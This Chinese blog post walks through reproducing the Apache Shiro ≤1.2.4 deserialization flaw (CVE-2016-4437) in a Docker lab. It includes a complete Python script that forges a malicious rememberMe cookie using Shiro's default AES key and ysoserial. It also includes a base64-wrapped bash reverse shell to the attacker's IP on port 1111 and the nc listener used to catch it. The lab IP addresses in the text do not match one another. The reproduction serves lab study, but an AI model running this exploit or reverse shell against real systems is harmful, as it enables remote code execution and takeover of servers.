CVE-2016-4437(Apache Shiro反序列化漏洞复现Shiro550)

Apache Shiro反序列化漏洞复现(Shiro550,CVE-2016-4437)

0x01 漏洞简介

Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。

Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。

影响版本 Shiro <= 1.2.4

### 0x02 环境准备

docker(192.168.18.132)
Kali(192.168.18.133)

环境准备:

1.漏洞环境

Docker pull medicean/vulapps:s_shiro_1获取docker镜像
systemctl start docker重启docker
docker run -d -p 80:8080 medicean/vulapps:s_shiro_1启动环境把8080端口改为80端口

2.攻击工具

1)pip3 install pycrypto安装python中的pycrypto
2)apt install maven安装MVN
mvn –version验证
安装Open JDK 11
Debian 10 默认安装的 OpenJDK 11 可以满足运行基于 OpenJDK 开发的 java 应用程序。如果你想使用javac命令编译代码,那么你还需要再完成安装一下。通过以下命令即可完成:
sudo apt-get update
sudo apt-get install default-jdk
安装完成后可以通过以下命令校验安装结果。打开命令终端,输入:
java -version
3)git clone https://github.com/frohoff/ysoserial.git # 安装java反序列化payload集成包ysoseri
cd ysoserial
mvn package -DskipTest
4)生成payload的python脚本test.py上传至/root/ysoserial/target:

复制代码
 1 import sys
 2 import base64
 3 import uuid
 4 from random import Random
 5 import subprocess
 6 from Crypto.Cipher import AES
 7 
 8 def encode_rememberme(command):
 9 popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-BETA-all.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)
10 BS = AES.block_size
11 pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
12 key = "kPH+bIxk5D2deZiIxcaaaA=="
13 mode = AES.MODE_CBC
14 iv = uuid.uuid4().bytes
15 encryptor = AES.new(base64.b64decode(key), mode, iv)
16 file_body = pad(popen.stdout.read())
17 base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
18 return base64_ciphertext
19 
20 if __name__ == '__main__':
21 payload = encode_rememberme(sys.argv[1])
22 with open("/tmp/payload.cookie", "w") as fpw:
23 print("rememberMe={}".format(payload.decode()), file=fpw)
复制代码

0x03 进攻复现

漏洞扫描:

攻击机ip为33,靶机为32
此时漏洞环境已经搭建成功,如下所示:
攻击机192.168.10.158访问靶机144并抓包可看到有rememberme字样的cookie

漏洞利用:

反弹命令进行加密https://x.hacking8.com/?post=293
bash -i >& /dev/tcp/192.168.18.33/1111 0>&1
加密后如下
>bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4LjEzMy8xMTExIDA+JjE=}|{base64,-d}|{bash,-i}

在tmp目录下生成payload.cookie
>python test.py bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4LjEzMy8xMTExIDA+JjE=}|{base64,-d}|{bash,-i

将这个伪造的cookie值需要复制到响应包有remember值的包发送得到反弹shell;同时攻击机多开命令框进行nc的一个端口监听nc -lvvp 1111,然后再发送伪造的cookie值,

点击发送伪造的包,此时就能获得靶机的反弹shell

posted @   胡阿斐  阅读(948)  评论(0编辑  收藏  举报
编辑推荐:
· AI与.NET技术实操系列:基于图像分类模型对图像进行分类
· go语言实现终端里的倒计时
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
阅读排行:
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 25岁的心里话
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· ollama系列01:轻松3步本地部署deepseek,普通电脑可用
· 按钮权限的设计及实现
点击右上角即可分享
微信分享提示